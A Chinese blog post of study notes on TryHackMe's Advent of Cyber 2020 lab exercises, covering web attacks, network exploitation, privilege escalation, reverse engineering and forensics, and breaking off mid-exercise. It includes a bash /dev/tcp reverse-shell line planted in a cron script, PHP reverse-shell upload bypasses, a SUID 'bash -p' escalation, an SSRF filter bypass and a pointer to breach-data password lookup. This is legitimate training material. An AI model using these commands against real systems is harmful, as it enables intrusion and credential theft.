安全小练习到21年元旦后笔记


我的朋友Victor告诉我TryHackMe平台有个圣诞练习(但由于我又懒又菜,圣诞前又各种出去玩,就变成目标元旦前完成)(但由于我又一直玩到3日,改成目标元旦后马上完成),每天一个基础的安全练习,一直到12.24。挺好玩的。更重要的是把这些练习的思路记录下来,填补我博客贫瘠的安全技术文o(╥﹏╥)o。这组练习应该还是偏渗透技术的,另外会加深对计算机领域的一些运行机制,底层原理的理解。还有些不错的安全工具也正好了解和熟练下,练习中有些涉及的其他相关练习也去玩了玩。
这组练习平台禁止将答案传播,所以我就选取部分可写的任务,记大概的思路,使用的技术。

首先表白下TryHackMe的练习界面,我觉得看起来挺漂亮的。花里胡哨,是带着兴趣练习的前提,嗯。

1. Web-修改cookie进入管理员界面

由于我提交答案后才发现练习页面不能进入了,所以第一个练习的对应配图会缺失。

首先按F12打开开发者工具,可以在Storage栏下查看cookie,可以看到cookie name,cookie value,对应的domain:

通过观察,可以发现此练习的cookie value是用16进制编码。

我们可以用CyberChef等工具进行解码:

我们可以看到该网站的cookie是使用Json的格式。我们可以推断只要改变username部分的值(注意username可能需要改变大小写),然后用16进制加密我们自己构造的cookie,再填入浏览器的cookie value里,随便刷新下页面,即可用我们修改的user身份登录。实际上也成功通过这个方法以管理员身份登录了,这里我们假设已经知道了管理员的用户名是santa。

2. Web-文件上传漏洞

首先我们通过提供的id登入上传界面:

可以看到我们现在是看不到可以上传文件的类型的,所以我们看下源码:

通过红圈部分,我们可以看出接受的上传文件类型,是各种图片格式。
接着打开一个准备好的php-reverse-shell的脚本,更改里面的ip为我的机器ip,port为443,我们要监听的端口:

从之前的源码我们可以看出,这个网站有个简单的上传文件过滤机制,这里我们使用一个简单的绕过方法,修改文件的扩展名,在文件名中加入.jpg,.jpeg等就可以:

然后我们就可以成功地把我们的恶意脚本上传了。
接下来是要想办法执行我们的php脚本,在这个题目里,我们可以试着寻找该网站的上传文件夹。在实现上传系统时,最好设定文件要被上传到不能远程访问的目录中,然而事实上很多网站并没有做到这一点,一般都是网站主页底下的一个子文件夹,比如/uploads, /images, /media, 或者 /resources。我们也可以随便试下/uploads:

可以看到我们进入了上传文件文件夹。当然我们也很可能猜不到网站开发者设定的文件夹名,我们可以使用Gobuster等工具把文件夹给爆破出来。

然后我们使用netcat启动个shell监听,开个终端运行“sudo nc -lvnp 443”。再在/uploads文件夹下运行下php脚本,就可以看到我们成功获得了反弹的shell,并且可以找到flag文件:

反弹shell:让目标机器把其shell发送给攻击方,因此攻击方拥有了目标机器的操作权限。

3. Web-对Web登录界面的字典攻击

先设置proxy,本次采用的工具是FoxyProxy,才知道有这么好用的,点一次就行,之前我都是在浏览器的setting里改,怪麻烦。

我们使用Burp对流量进行拦截:

然后转到Intruder模块:

在position标签下这里我们设定好两个参数:username和password
在payload标签下我们设定payload set1(指向username参数)为admin,root,user这几个常用username,然后payload set2(指向password参数)为admin,12345和password。当然我们也可以在这里加载我们准备好的文件(记录着大量常用用户名和密码)。

然后点击start attack进行爆破:

可以看到这其中的username是admin和password是12345组合得到的length长度和其他的都不同,这是因为其他的都是失败的,而一般情况下成功的组合是和别的不同的。然后输入admin和12345也就成功登录了。

4. Web-模糊测试-目录枚举

模糊测试(fuzzing)是自动化或半自动化地把大量我们提供的输入给软件或网站,来检查是否有安全漏洞。本次我们会利用fuzzing来寻找隐藏文件或隐藏文件夹。

本次练习的场景是我们的网站被黑了,登录界面被黑客删了,所以需要找一个api来作为入口。
我们首先使用gobuster工具进行fuzzing,来寻找网站的隐藏文件夹,模式使用dir,wordlist使用big.txt(https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/big.txt) 。通过fuzzing我们可以看到有个301的重定向状态码对应/api文件夹,我们去浏览器访问下,也成功了:

我们可以看到有个site-log.php文件,这里我们假设这个就是log文件,也假设能访问的参数是date,因为这是很正常的log文件里的key值。至于e的值,先用“FUZZ”作占位符,具体可行值我们通过使用wfuzz工具来寻找:

这里的wordlist我们使用平台提供的一个文件,里面都是一些日期值。可以看到20201125的响应信息的长度和别的都不一样,这是一个可以通过的值。然后我们就可以在浏览器中输入“http://10.10.138.249/api/site-log.php?date=20201125” ,即可进入系统,拿到flag。

5. Web-SQL注入

SQL Injection,永远的经典。这个攻击类型主要就是通过在用户输入里添加些sql语句,来对后端的数据库进行操作。核心原理还是那个经典的安全问题,可执行数据和存储类数据没有很好地隔离开,hacker使本来不应该执行的数据执行了他们想要的操作。

最简单的SQL注入模式:“ ‘ or true – ”, 先用一个单引号闭合后台的查询语句,再用or true使表达式成立,再使用–等注释掉后面的语句,使整个语句成立,来绕过登录验证等。针对不同的情况可以使用不同变体的语句,如这个cheat sheet里提供的各种方式:https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

SQL盲注,现在的开发者一般都会做一些措施来防范SQL注入,但这不意味着就能防住SQL注入,攻击者可以用不同等级的注入方式来尝试渗透。比如可以使用盲注先来推测后台数据库的相关信息,如数据库类型,表名,表的列数等。盲注的盲核心在于通过不同的输入测试和数据库的返回响应来判断数据库的信息,有点像我之前做加密的时候的加密预言机,好像是挺类似的,具体我也不记得了,嗯。

本次练习主要还是使用安全工具来对后端数据库进行渗透。
首先对于最开始的登录界面,还是用前面提到的最简单的SQL注入即可绕过登录验证:

然后使用我们的老朋友Burp对该页面随便一个查询请求进行拦截,这次我们右键选择save item来保存这个request,因为之后要移交给sqlmap工具:

这里我们假设该网站有个WAF(web application firewall),又假设我们知道了可以使用sqlmap的tamper脚本space2comment来绕过该WAF,嗯,这里挺奇怪的,那平台直接假设没有WAF得了呗。space2comment脚本也只是简单地将空格替换为/**/,也可以看出这个WAF也只是简单地设置了针对空格的敏感字符过滤。

然后使用以下语句,调用sqlmap工具,把后端的数据库全都扒下来。这里又假设了我们已经测出数据库类型是sqlite,为了让渗透快点:

然后就可以零点几秒的时间我们就把后台的数据库全都扒下来了,包括隐藏的此题flag和admin密码什么的:

6. Web-XSS攻击

XSS,原名Cross-site scripting,即跨站脚本攻击,相信大家都能看到,他本来的缩写应该是CSS,但因为和Cascading Style Sheets(层叠样式表)缩写重名了,故,只能被叫做XSS,希望他也可以和希斯特利亚一样,有机会大声呼喊出自己真正的名字。
XSS核心原理也还是那个经典的安全问题,让本不该执行的数据被执行了。和SQL注入类似,不同是XSS主要注入JavaScript,HTML等payload。一般就三大类:反射型XSS,存储型XSS和DOM型XSS。反射型需要用户自己去点击链接才能触发XSS代码,存储型又被称为持久型,攻击脚本可以被保存到服务器中,使得大批的一般用户被攻击影响到,DOM型,暂时不谈了。

这次我们使用新朋友OWASP Zap来自动化扫描网站漏洞:

点击Automated Scan,然后把目标URl输入到URL框里,再点击Attack即可:

几秒后我们就可以看到扫描结果,可以看到左下方有漏洞概览,其中有对不同类型的漏洞的分类,右下方是具体漏洞的描述,右上方的response有在对应源码的攻击方式,在OWASP里也可以轻松地生成漏洞扫描报告。

这里我们随便找个评论区做个最简单的反射型XSS:

7. Networking-Pcap文件分析

ok,本次练习就是做些基本的对Wireshark抓包的Pcap文件分析。第一个目标是“what is the name of the article that the IP address “10.10.67.199” visited?”我们用个简单的过滤设下http.request.method和ip.src就ok了。然后看了下访问路径,在很可能的/post路径下中找到了答案:

下一个小任务是分析FTP流量,找出登录密码。因为确定了协议是FTP,而FTP传输层使用的是TCP协议,并且一般情况下端口是21,我们可以根据此设置过滤条件。密码那个包看两眼也能看到,不过如果包太多的话就不容易了,我们也可以选择比较明显的登录成功的包,右键follow TCP stream,看一下成功的整个过程:

可以很明显地看到明文密码。
下一个任务是寻找小精灵的愿望清单,我们就推断是要找一个文件,估计答案就在文件里。首先我们可以观察下所有的HTTP流量,简单过滤下,然后故技重施follow stream,可以看到有个zip文件:

在该请求里也能搜到里面有个wishlist.txt,基本就是我们要找的了:

然后我们在导航栏里选file -> Export Object -> HTTP,然后就可以看到有个zip文件,我们把这个文件保存一下。

然后解压下,就能看到wishlist.txt文件,然后就得到答案了。

8. Networking-对远程机器的网络扫描-Nmap的使用

Nmap是一个很著名的,工业级别的安全工具,用于在远程机器上探测网络,执行安全扫描,网络审计和搜寻开放端口。Nmap的常用扫描主要有两种类别:SYN扫描(-sS)和连接扫描(-sT)。根据TCP的三次握手,连接扫描就是试图完成完整的TCP三次握手,操作简单,扫描速度快,但是容易被目标机器记录,发现问题和过滤掉;而SYN扫描就是不进行完整的三次握手,我方发送SYN,即使对方回应ACK,我们却发送RST断开连接,而不进行完整的握手过程,这种扫描方式比连接扫描稍微隐蔽,但是需要扫描方使用root权限。

小任务1,扫描ip地址10.10.78.216:

可以看到用了1.85秒就扫描完成,并且发现了三个可以连接的端口。

小任务2,不使用icmp去侦察对方机器是否可访问,直接扫描端口。加上-Pn选项即可。因为有的时候目标机器会设置过滤条件比如防止ICMP探测,我们就可以考虑使用-Pn,略过icmp的ping探测,直接扫描目标。经过测试使用-Pn后,扫描比之前更快一点,因为省略了一个扫描步骤。

小任务3,探测目标机器的Linux版本。从OS fingerprint里没有发现有检测到的操作系统版本系统,不过我们可以从ssh服务看到目标机器使用的是Ubuntu。我一开始对这个小任务也是使用-O的指令,想看OS fingerprint的信息,结果不行,后来用了-A获取更详细的信息后从ssh服务里才发现Linux版本。

另外从80端口这个负责http服务的,我们也可以从http-tittle中看出目标机器是个blog网站。

另外,我们可以使用各种脚本:https://nmap.org/nsedoc/scripts/ 来进行Nmap扫描,加上–script选项和想使用的脚本即可。

关于对Nmap扫描的防护。我们可以使用IDS,如Snort,或者IPS,如Suricata进行实时检测是否有被扫描。我们可以把这两个安装在我们的防火墙里,比如pfSense。下图展示了我们在pfSense安装了Snort后,再进行Nmap扫描的触发警报:

Nmap那端这时候也会被防火墙切断连接,显示扫描无法继续进行。

9. Networking-对文件传输协议FTP的配置错误利用

FTP,常用的文件传输协议,传输效率非常高,非加密传输,一般使用21端口传输服务端和客户端的指令与响应,使用20端口传输数据。
FTP的访问是需要用户登录验证的,但是默认情况下,有anonymous账号可以直接登录,有时会遇到被恶意登录,十分危险。
使用anonymous账号我们很轻松地就登录了目标机器的FTP服务:

可以看到只有public文件夹里面有数据,我们进入该文件夹会发现一个shell文件,用来做备份,这个shell脚本每分钟都会运行,一般这种备份脚本是我们最想要的,因为我们只要上传恶意脚本,一定时间后我们的恶意脚本就会被执行,完成我们的攻击。另外还有一个文本文件用来存放一些敏感信息。使用FTP的get指令可以把它们都下载到我们的机器上:

接下来我们要进行恶意攻击,目的是拿到目标机器的反弹shell。我们可以修改之前发现的shell脚本,写入我们的恶意代码,然后通过FTP上传给目标机器,使其被运行,然后攻击成功。
我们替换backup.sh里的脚本为我们的反弹shell命令:“ bash -i >& /dev/tcp/Your_TryHackMe_IP/4444 0>&1 ”。其中的IP改成实际的攻击机器IP。然后另开一个终端使用netcat监听我们设置的端口4444,“ nc -lvnp 4444 ”。然后使用put命令上传我们的恶意脚本,等待一分钟内,就会发现我们的netcat得到了目标机器的root权限,也找到了flag文件,攻击成功:

10. Networking-对文件共享协议Samba的配置错误利用

Samba是著名的文件共享服务,它由以下两个服务组合而成:SMB (Server Message Block)(Windows支持),NFS(Network File System)(Linux支持)。数据传输过程中是加密的。
本次练习我们会使用Enum4linux工具,它是一个用于枚举来自Windows和Samba系统的信息的工具。

我们可以使用Enum4linux的“-U”选项遍历某机器上Samba的所有用户:

我们可以使用Enum4linux的“-S”选项遍历某机器上Samba的所有shares(共享文件夹):

知道了所有的share后,我们可以对每个share进行个遍历,在Samba系统索要密码来进行登录验证的时候,直接按Enter来测试是否对该share没有配置密码,经过测试后发现有个share确实没有设置密码,我们获取了机密文件,然后使用get指令就可以下载该文件。

11. Networking-对Linux错误配置的权限提升攻击

一般系统里都会有多个用户,用户之间的权限是不同的。权限提升指的是拥有了不该属于自己的权限,比如获得其他用户的权限(横向提升),甚至管理员的权限(纵向提升),一般来说,拿到root权限基本就是渗透的最高目标了。Linux权限提升cheat sheet:https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md#linux---privilege-escalation

练习的前置知识
在Linux里,每个文件或者文件夹都有对应的权限:

A列第一个值如果是d,即为文件夹,没有d是文件。接下来每三个值为一组,分别是所有者权限,组用户权限和其他用户权限。r意为可读,w意为可写,x意为可执行。
B列指明文件或文件夹的拥有者。
C列拥有文件或文件夹的用户组

用户和用户组属于多对多关系,一个用户可以同时属于多个用户组,一个用户组可以包含多个不同的用户。

在 linux 系统中,所创建的用户帐号和其相关信息 (密码除外) 均是存放在 /etc/passwd 配置文件中。由于所有用户对 passwd 文件均有读取的权限,因此密码信息并未保存在该文件中,而是保存在了 /etc/shadow 的配置文件中,shadow文件只有root可以读取。
用户组帐号信息保存在 /etc/group 配置文件中,任何用户均可以读取。用户组的真实密码保存在 /etc/gshadow 配置文件中。

通常来说,可执行文件和命令(命令只是可执行文件的快捷方式),会根据当前运行其的用户的权限。如果我们没有该文件的运行权限,就经常会使用sudo来让我们拥有root权限,系统会根据/etc/sudoers文件中的用户,了解哪些用户可以使用sudo来使用root权限。而SUID机制也是类似sudo的功能,不过不是让当前的执行用户拥有root权限,而是拥有文件所有者的权限。只有可以执行的二进制程序文件才能设定SUID权限,非二进制文件设置SUID权限没任何意义。SUID权限只在该程序执行过程中有效,也就是说身份改变只在程序执行过程中有效。当前的文件执行者要对该程序文件拥有执行(x)权限。

GTFOBins (https://gtfobins.github.io/#) 是一个Unix二进制文件的列表,可用于在配置错误的系统中绕过本地安全限制。该项目收集Unix二进制文件的合法函数,这些函数可能被滥用,以突破受限shell、升级或维护高级特权、传输文件、生成绑定和反向shell,并促进其他开发后任务。

本次的练习就是利用滥用SUID的漏洞。
我们先通过ssh登录目标机器,假设我们现在有一个普通用户的权限,目标是提升权限让我们拥有root的权限。
可以开两个终端,一个以普通用户的身份登录目标机器,另一个终端负责作为一个服务器,提供我们的提权脚本,然后在目标机器那边下载我们自己服务器准备的提权脚本。
本次练习的脚本我采用的是这个库 (https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) 里的linPEAS做Linux提权。然后简单地使用“ python3 -m http.server 8080 ”语句启动服务器。

这里的python “-m”指令是可以将python模块当作脚本启动,模块的完整路径我们利用http.server模块就可以启动一个简单的http服务器。这个是我们知道一个模块的名字的情况下,等同于直接运行模块的完整路径下的文件。

然后我们可以使用wget等工具在目标机器那端从我们的服务器上下载攻击脚本:

如果wget在目标机器不可使用我们也可以使用其他方式,比如netcat等传递文件。接收到文件后我们使该文件可执行:” chmod +x <文件名> “。然后运行该攻击脚本即可。之后我们可以使用命令“ find / -perm -u=s -type f 2>/dev/null ”寻找拥有SUID权限的文件:

这里我们可以看到/bin/bash文件被我们的脚本加上了SUID权限,因此我们可以使用它。再之后我们可以在GTFOBins上查找可以提权的方式,我们搜索bash部分里面的SUID,能看到可以通过“bash -p”指令来提权:

最后就可以发现我们成功切换到了root用户,并且可以访问/root文件夹,得到flag文件。

12. Networking-使用神器metasploit攻击网站

本次练习我们知道目标ip,但不知道端口。还是用之前的老朋友Nmap扫一下就知道了,比较常规的8080端口负责HTTP服务,然后我们在浏览器访问该ip和端口:

嗯,这里就比较简化了,这网站直接显示使用的是Apache Tomcat/9.0.17作服务器,那我们也不用费劲找使用的服务器版本号了。
然后我们就简单地google一下该版本tomcat的漏洞,这里加个metasploit关键词,因为这节练习是要用metasploit攻击,找个metasploit有的对应漏洞的模块。

点开前两个,发现第二个就挺靠谱的:

因为这个练习是需要使用平台希望的漏洞去攻击,试了下第二个是这次要做的。
好的,现在我们已经知道要攻击的漏洞了,接下来使用安全超级神器metasploit去攻击,下图是该工具的框架原理:

启动metasploit后,search一下该漏洞,可以看到该漏洞search后被编码为0,我们直接“use 0”即可使用。然后用“options”看一眼目前的配置,目标机器IP和目标URI还是得填一下。

IP和目标URI在这个练习里都是假设已知的,设下就好。然后“run”下就ok了,metasploit就是强:

攻击成功后使用”shell”指令来使用目标机器的系统shell,发现对方是Windows系统,使用“dir”找下目标文件,然后切换到该文件夹下,再”type”出想要的文件的内容即可。

我还是挺好奇这个练习为啥算Networking部分的,之前那个练习11我觉得就有点不Networking。

13.应该算System-DirtyCow漏洞的利用提权

首先还是已知目标IP地址,先用Nmap扫一下,得知对方开放了telnet服务,我们可以直接连接过去。

然后我们可以用“cat /etc/*release”等方式查看对方系统版本,更多查询方式可以在此链接查到: https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/

然后发现里面有个文件,提示说是一个修改的DirtyCow的漏洞利用文件,这个系统也应该是有这个漏洞。DirtyCow漏洞是由于Linux内核的内存子系统在处理写入时复制(copy-on-write, COW)时产生了竞争条件(race condition)。恶意用户可利用此漏洞,来获取高权限,对只读内存映射进行写访问。这个的具体原理还是非常复杂的,具体可以通过这个链接了解: https://dirtycow.ninja/

我们随便用里面一点代码google一下,就可以发现Github一个库里有: https://github.com/FireFart/dirtycow/blob/master/dirty.c 。嗯,试了下还真是这个。

该PoC文件的注释里都写着编译方式和运行方式,照着做就行。
然后我们就可以获得root权限:

这个漏洞利用文件会利用DirtyCow漏洞,建立一个默认的新用户“Firefart”,并且该用户拥有root权限。

接下来按照/root文件夹下的文件提示用“tree | md5sum”指令获取最终的flag。这里是利用了“tree”指令先获取当前文件夹下的文件目录结构树,然后通过管道符“|”把结果用md5哈希得到一个值。

14.可能算社会工程?-情报收集和分析

嗯,我懂了,这个平台的练习的教程写的真的特别好,因为我发现这个练习14写的人写的挺乱的,就突显出来其他的写的是真的好,很利于学习。

这个练习是平台做了一个虚拟的账号在Reddit和Twitter,我们就寻着一些蛛丝马迹找线索,因为对美国一些文化的不了解,推理起来还是有点麻烦的。

这里提到Exif文件,是可交换图像文件格式(英语:Exchangeable image file format,官方简称Exif),是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。
比如我们可以用这个网站分析照片里的一些信息: http://exif.regex.info/exif.cgi

如果有某用户名,邮箱,密码什么的泄露了,我们可以通过以下的网站来搜索信息,比如根据某信息泄露用户的邮箱获得其密码:
https://scylla.sh/api

上面这个是免费的,去一些收费的网站会有更新的数据和数据泄露的日期,这里的知识是比较devil的,嗯。

总之这个练习就是通过用户名,去一些社交平台上收集该账号的信息,去信息平台获取其密码,用工具解析账号中的照片信息甚至能获得照片的拍摄地点,进而获得其地址。

15. Scripting-Python语法

这节就没太多重点。挑点有意思的。

以下代码的输出结果是True

bool("False")

因为在python中,除了‘’、””、0、()、[]、{}、None为False, 其他转换都为True。 也就是说字符串如果不为空,则永远转换为True。

python是引用传递。所以以下代码输出会是[1, 2, 3, 6]:

x = [1, 2, 3]
y = x
y.append(6)
print(x)

x赋值给y的时候,是把存有x值的地址给y,现在x和y共用一个地址,所以y直接append的话,x也会被相应地改变。

16.Scripting-写Python自动化脚本

第一个小任务是我们已知一个ip地址运行着一个web服务,但我们不知道使用的是哪个端口,找出这个端口。我们使用之前使用过的Nmap即可,“ nmap <该ip> ”即可找出运行web的端口。

第二个小任务是寻找该网站的一个API接口,方便我们接下来的hack。至于怎么找这个API,题目里有个提示,网站的主页面里藏有一个链接会指向该API。我们看一下主页,可跳转的链接很多,再看一下源码,有很多链接,不过由于代码总行数并不多,用肉眼也可以一个一个排查出来,但是这里我们还是要更实际地考虑问题,假设我们很难用肉眼找出目标,所以我们使用一个简单的python程序帮助我们寻找:

from bs4 import BeautifulSoup
import requests 

# requests.get downloads the webpage and stores it as a variable
html = requests.get("10.10.195.0:80") 

# this parses the webpage into something that beautifulsoup can read over
# lxml is just the parser for reading the html
soup = BeautifulSoup(html, "lxml")


# this is the line that grabs all the links 
# stores all the links in the links variable
links = soup.find_all('a') 
for link in links:    

    if "href" in link.attrs:   
      print(link["href"])

使用了bs4的BeautifulSoup库来帮助我们解析文档。
运行一下该脚本,然后把输出用管道符给unique处理下,就可以很明显地发现有个路径应该是api接口:

我们可以看到这个api路径后面是要输入一个api key的,提示说这个key是1到100的一个奇数,所以我们简单地写个python脚本即可得到答案:

import requests 

for api_key in range(1, 100, 2):
    print(api_key)
    html = requests.get(f"http://10.10.172.31:80/api/{api_key}") 
    print(html.text)

我也是第一次知道以f开头表示在字符串内支持大括号内的python表达式,感觉挺好用的,应该是Python3.6以后的版本才有效。

17.Reverse Engineering-可执行文件逆向

本次练习是使用radare2工具使用逆向工程来分析一个可执行文件,逆向工程是使用反汇编,把二进制可执行文件恢复出汇编代码,再尽可能地分析到高级语言层面,程序设计等。本次研究的处理器架构是x86-64。

先使用“r2 -d ./”进入radare2,然后输入“aa”指令让工具开始分析可执行文件,可能需要几分钟的分析时间:

再之后可以使用“afl”来列出所有分析出来的函数,“afl | grep main”来找出main函数:

我们可以使用“pdf @main”来显示出main函数的反汇编代码:

可以看到main函数名是sys.main,有三个int变量local_ch, local_8h, local_4h,变量名后跟着他们的地址。
本次练习是回答这几个变量和eax在某一阶段的值是多少。整体的汇编代码也比较简单,我也懒得设断点再调试,打印变量值了。整体的过程就是一些简单的赋值和基础的运算。先把local_ch设为1,local_8h设为6,把local_ch的值赋给eax寄存器,所以现在eax是1,然后把local_8h和eax相乘,并把结果存在eax里,所以现在eax是6,然后又把eax的值给local_4h,所以local_4h也是6,最后把eax设为0,程序结束。

18.Reverse Engineering-.NET应用逆向

本次练习逆向.NET应用,使用ILspy工具。

我们用ILspy打开这次要分析的应用:

只要几秒,就可以看到工具已经成功解析出了数据,文档,很多类等,点开还有很多详细的应用细节。嗯,这可太酷了这可,逆向真牛。

任务是找管理员密码。首先这个应用我们运行会先看到一个登录界面,输入密码,然后点击按钮登录,所以我们先在分析出来的应用结构里找类似的登录验证:

上图我们可以看到有个可疑的值很可能指向管理员(santa)的密码,我们通过最外层的MainForm对象,看到有个buttonActive函数,就很有理由怀疑这里可能有我们想要的,然后看看逻辑就会发现可疑值,我们可以直接双击该值跳转到对应的文件:

ok,基本就找到了,我们把这串16进制指转换成字符串,可以用我们的老老朋友CyberChef转换,发现就是变量名santapassword321。

19.Web-对于远程文件包含漏洞的服务器端请求伪造攻击

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)。比如某网站的服务是对用户提供的URL进行请求,并返回处理值,如果过滤机制做的不好,攻击者可以输入内网的URL来获取内网的敏感信息,或者进行端口扫描,持续地发送请求造成DOS(拒绝服务攻击)等。

先观察下目标网站,就是输入一个字符串,然后去某文件或数据库里查该字符串是否在里面:

主要还是观察下请求的URL:http://10.10.164.63/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2Fsearch.php%3Fname%3Dgiotto
所以它就是这样一个请求: http://list.hohoho:8080/search.php?name=giotto 然后后面name的参数是用户的输入,获取结果的来源是list.hohoho的8080端口的服务。

如果我们尝试只用 http://10.10.164.63/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2F 来访问 http://list.hohoho:8080/ 的话会看到以下结果:

所以试图这样简单地直接访问root路径是不行的,但是可以看到服务器端对我们构造的URL都会有一个响应,这样我们就可以继续尝试,构造其他的URL。

通过改后面的端口比如80,22这些常用端口也是没有什么效果。

而如果我们试着不访问list.hohoho这个proxy,直接访问主网站的localhost路径的话, http://10.10.164.63/?proxy=http%3A%2F%2Flocalhost 会发现请求被屏蔽了:

但这只是做了一个很简单的URL过滤,主要是查URL中是否有list.hohoho,所以我们只要简单地保留list.hohoho,然后再加上localtest.me:http://10.10.164.63/?proxy=http%3A%2F%2Flist.hohoho.localtest.me
这样就让URL保留list.hohoho来通过过滤检查,而localtest.me会让所有的子域名指向localhost。
通过这样的URL构造我们成功登录了代理网站的本地主机并获取了管理员密码,登录到了管理员界面:

20.Blue Teaming-PowerShell的使用

这节主要是练练PowerShell的使用,基本指令,没太多可说的,反正上网搜个命令集就ok了。

找隐藏文件并获取文件内容:

获取文件里确切位置的字符串并匹配字符串寻找类似字符串:

21.Blue Teaming-使用PowerShell做计算机取证

这节还是使用Powershell,然后找些东西,也没啥意思。

在Powershell里使用MD5求文件的哈希值,读文件内容,使用Strings工具分析文件:

我们需要了解下Windows系统的NTFS和ADS。Microsoft于90年代初期引入了一种称为“数据流”的概念,NTFS(New Technology File System)可以在一个文件内存里面存储多个数据流。
在windows协议MS-FSA中ADS的定义:
一个被命名的数据流是一个文件或者目录的一部分,它们可以独立于默认数据流被单独的打开。许多数据流的操作之影响数据流并不影响其他数据流,文件和目录。
大体意思就是一个文件里有多个数据流,就像一个文件夹里可以有多个文件。我们可以用“-Stream”命令把一个文件里的数据流都展开看:

主要看stream名称和length的部分,可以看到这个可执行文件里有隐藏的hidedb数据流。

我们可以使用以下语句运行它:

Well,我们找到了flag。

22.Blue Teaming-破解密码

Ok,Alright,这些blue teaming练习搞得都像是做侦探一样,很多人会觉得做信息安全是不是像电影里的黑客一样,结果这里还真有点像了。

本次练习是破解KeePass这个管理软件里的各种密码。使用的工具是第一节练习使用的老老朋友CyberChef。
即使我们不知道密码采用的编码方式,我们只要选用CyberChef的magic食谱,它自己就能帮我们分析可能是什么编码方式,并给出多个参考,so amazing:

至少From_Base64, From_Hex和From_HTML_Entity(),CyberChef的magic模块都很轻松地就能判断出来并解码成功。

接下来这个稍微复杂点,可以看到这段密码后面有个Note:

里面很明显是提示。要我们用From_Charcode来解码,解码选项根据提示里的数据结构我们可以猜到应该使用逗号做分隔符,十进制。然而这样我们也不能得到一个看起来合理的答案,可以看到里面又有做了Charcode处理的:

所以我们在其基础上再用From_Charcode来解码:

可以看到解码后得到一个地址,访问过去即可得到答案。Ok,这搞得很密室逃脱。

23.Blue Teaming-应对勒索软件

勒索软件,人勒索是绑个人质和人质的亲朋好友要钱,如果不给钱就干掉人质;软件勒索是绑敏感数据和公司要钱,如果不给钱就公布敏感数据或者加密该数据让公司永远无法解密。

公司一般会部署安全措施来侦测是否有恶意软件入侵,如果真被勒索软件攻击成功了,可以通过找安全公司破解,放弃被绑架的数据启用备用数据,或者给钱等方式应对。

本次练习的背景就是我们已经被某恶意软件入侵,勒索了。进入练习,可以看到hacker们都是这么的有趣。做这个练习还特意叫我把桌面的壁纸给换了:

我还以为是换个壁纸有什么用呢,看来就是烘托气氛的。

Windows的Task Scheduler可以让用户设定一些自动化任务,当某些条件达成的时候就启动设定的任务。恶意软件可能也会利用Task Scheduler来设定它想要执行的任务。

打开Task Scheduler,可以看到有一个奇怪名字的task:opidsfsdf,这个基本就是勒索软件搞的任务:

我们也可以双击它来看到该可执行文件所处的位置和触发条件:

底下另一个task是Volume Shadow Copy Service是系统用来持续对文件进行的备份,以防发生意外,很多恶意软件也会在系统里寻找这个task,然后想办法删掉它,使得公司不能通过其恢复数据。
我们可以在终端里使用Volume Shadow Copy Service来查看系统:

可以看到我们的系统里还有隐藏磁盘。

现在我们还需要使用Disk Management来帮我们找出并分析这个隐藏磁盘,Disk Management是Windows系统帮助用户实现高级存储任务的。很简单就能找到这个隐藏磁盘,应该是系统用来秘密back up的,我们右键给它分配一个字母,好方便我们在文件管理器里访问它:

然后我们就可以找到这个新命名的D盘,再显示下隐藏文件就可以发现有个confidential文件夹,我们右键可以选择previous version把文件还原到之前的版本,就可以恢复我们的备份,拿到机密数据:

so,被勒索软件攻击后的我们成功通过备份还原了敏感数据。

24.综合练习

先用老朋友Nmap找到了隐藏端口65000。

然后又要找隐藏的php网页,使用老朋友Gobuster通过在常用php网页文件名里遍历,去测试是否对目标网址有效,然后发现了有一个uploads.php网页,所以接下来很可能是利用文件上传漏洞。
还是像第二个练习一样,我们拿一个反弹shell脚本,设好ip和端口。这里有个新问题是,我们不能通过简单地修改文件后缀来绕过过滤机制。这里我们采用绕过客户端过滤的方法。使用老朋友Burp。

我们先看下上传界面的源码:

可以看到接受的上传文件类型是图片格式,另外有用js写的过滤文件。我们这次通过删去js过滤文件的方式来绕过上传过滤。
我们可以通过在Burp的proxy option里,删去“ |^js$ ”这个条件来实现:

然后我们刷新该上传网页,数据包被转交给burp,观察拦截到的包,第一个ok,forward,让它发过去,第二个包里我们发现了filter.js,把这个包丢掉,这样它就不会被加载,我们就可以成功绕过客户端的上传过滤:

其他的包也都让他们forward过去。ok,然后我们上传我们的恶意反弹shell脚本(后缀被改成.jpg.php),这样我们就可以绕过客户端的js检测和服务器端的文件后缀检测,成功上传了恶意脚本。

使用netcat监听脚本里设置的端口,然后等恶意脚本运行后,就会得到网站的反弹shell。

这次我们还要多做个反弹shell的升级和稳定。比如不能使用向上箭头调用之前的使用记录,tab键的自动补全也不能使用。升级只要在获得shell后输入以下指令即可:

“ python3 -c ‘import pty;pty.spawn(“/bin/bash”)’ ”是使用python的库帮我们获得更好的shell交互。“ export TERM=xterm ”让我们可以使用“clear”等指令。键入“ Ctrl + Z ”使shell在后台运行。然后短暂返回我们自己机器的终端,使用“ stty raw -echo; fg ”关闭了我们自己的终端的响应,这样我们才能使用tab键自动补全等。然后键入“ Ctrl + C ”重回目标机器的shell界面。

然后我们在后台里找到了数据库的登录用户名和密码。
接着试试后台使用了什么数据库,输入mysql的指令后发现有响应,然后使用我们刚刚获得的登录用户名和密码进入数据库,用“show databases;”查看,再用“show tables;”看看有什么表,发现有个tron表,进去得到新的用户名和密码:

得到的密码基本就是个hash后的哈希值,我们使用这个网站 https://crackstation.net/ 来帮助我们破解,一输入就可以得到结果:

这里假设目标密码是弱密码,使用密码破解网站很快就能破解出来,估计是使用下彩虹表破解。

然后发现我们可以用这个用户名和破解后的密码在系统里切换到该用户,切换后查了下该用户的权限:

